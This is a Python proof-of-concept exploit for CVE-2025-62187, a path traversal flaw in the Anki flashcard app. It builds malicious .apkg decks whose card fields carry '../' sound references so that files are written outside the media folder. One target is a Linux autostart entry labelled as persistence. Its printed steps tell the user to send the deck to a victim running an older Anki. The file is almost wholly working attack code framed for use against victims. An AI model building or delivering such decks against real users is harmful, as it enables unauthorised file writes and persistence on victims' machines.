# CVE-2025-62187 PoC - Anki Path Traversal Arbitrary File Write
# This PoC demonstrates how crafted sound file references in Anki cards
# can cause files to be written to arbitrary locations.
import zipfile
import os
import sqlite3
import tempfile
import json
def create_malicious_apkg(output_path, target_path="../../../../../../tmp/pwned.txt"):
"""
Create a malicious Anki package (.apkg) that exploits CVE-2025-62187
by using a path traversal sequence in a sound file reference.
Args:
output_path: Path where the malicious .apkg will be saved
target_path: The traversal path to write to (relative to media folder)
"""
# Create a temporary directory for building the package
with tempfile.TemporaryDirectory() as tmpdir:
# Step 1: Create the malicious media file that will be written
media_filename = "evil_audio.mp3"
media_content = b"FAKE_MP3_CONTENT_FOR_POC"
media_path = os.path.join(tmpdir, media_filename)
with open(media_path, 'wb') as f:
f.write(media_content)
# Step 2: Create the collection database with malicious card
db_path = os.path.join(tmpdir, "collection.anki2")
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
# Create minimal Anki schema
cursor.execute("""CREATE TABLE col (
id INTEGER PRIMARY KEY,
crt INTEGER,
mod INTEGER,
scm INTEGER,
ver INTEGER,
dty INTEGER,
usn INTEGER,
ls INTEGER,
conf TEXT,
models TEXT,
decks TEXT,
dconf TEXT,
tags TEXT
)""")
cursor.execute("""CREATE TABLE notes (
id INTEGER PRIMARY KEY,
guid TEXT,
mid INTEGER,
mod INTEGER,
usn INTEGER,
tags TEXT,
flds TEXT,
sfld TEXT,
csum INTEGER,
flags INTEGER,
data TEXT
)""")
# Create a card with a malicious sound reference using path traversal
# The [sound:...] tag with traversal sequence will cause Anki to
# write the referenced file to an arbitrary location
malicious_field = f'Card with malicious audio [sound:{target_path}]'
cursor.execute(
"INSERT INTO notes (id, guid, mid, mod, usn, tags, flds, sfld, csum, flags, data) "
"VALUES (1, 'evil_guid', 1, 0, -1, '', ?, ?, 0, 0, '')",
(malicious_field, malicious_field)
)
conn.commit()
conn.close()
# Step 3: Create the media database mapping
media_db_path = os.path.join(tmpdir, "media")
media_conn = sqlite3.connect(media_db_path)
media_cursor = media_conn.cursor()
media_cursor.execute("CREATE TABLE media (fname TEXT PRIMARY KEY, csum TEXT)")
# Map the malicious filename in the media database
media_cursor.execute("INSERT INTO media VALUES (?, ?)",
(media_filename, "fakechecksum"))
media_conn.commit()
media_conn.close()
# Step 4: Package everything into .apkg (which is a ZIP file)
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.write(db_path, "collection.anki2")
zf.write(media_db_path, "media")
zf.write(media_path, media_filename)
print(f"[+] Malicious .apkg created at: {output_path}")
print(f"[+] Target write location (traversal): {target_path}")
print(f"[+] When imported into Anki < 25.02.6, this will write a file")
print(f" outside the media folder to the traversed path.")
def demonstrate_exploitation():
"""
Demonstrate the exploitation of CVE-2025-62187 with various targets.
"""
# Example 1: Write to /tmp on Linux
print("=" * 60)
print("CVE-2025-62187 - Anki Path Traversal PoC")
print("=" * 60)
# Linux target
create_malicious_apkg(
"exploit_linux.apkg",
target_path="../../../../../../tmp/cve_2025_62187_pwned.txt"
)
# Windows target
create_malicious_apkg(
"exploit_windows.apkg",
target_path="..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Users\\\\Public\\\\cve_2025_62187.txt"
)
# Write to user's startup folder (persistence)
create_malicious_apkg(
"exploit_persistence.apkg",
target_path="../../../../../../home/user/.config/autostart/malicious.desktop"
)
print("\n[!] To exploit:")
print(" 1. Send the .apkg file to a victim using Anki < 25.02.6")
print(" 2. Victim imports the deck")
print(" 3. When the card is reviewed, Anki processes the sound reference")
print(" 4. The referenced file is written to the traversed path")
print(" 5. File now exists at attacker-controlled location")
if __name__ == "__main__":
demonstrate_exploitation()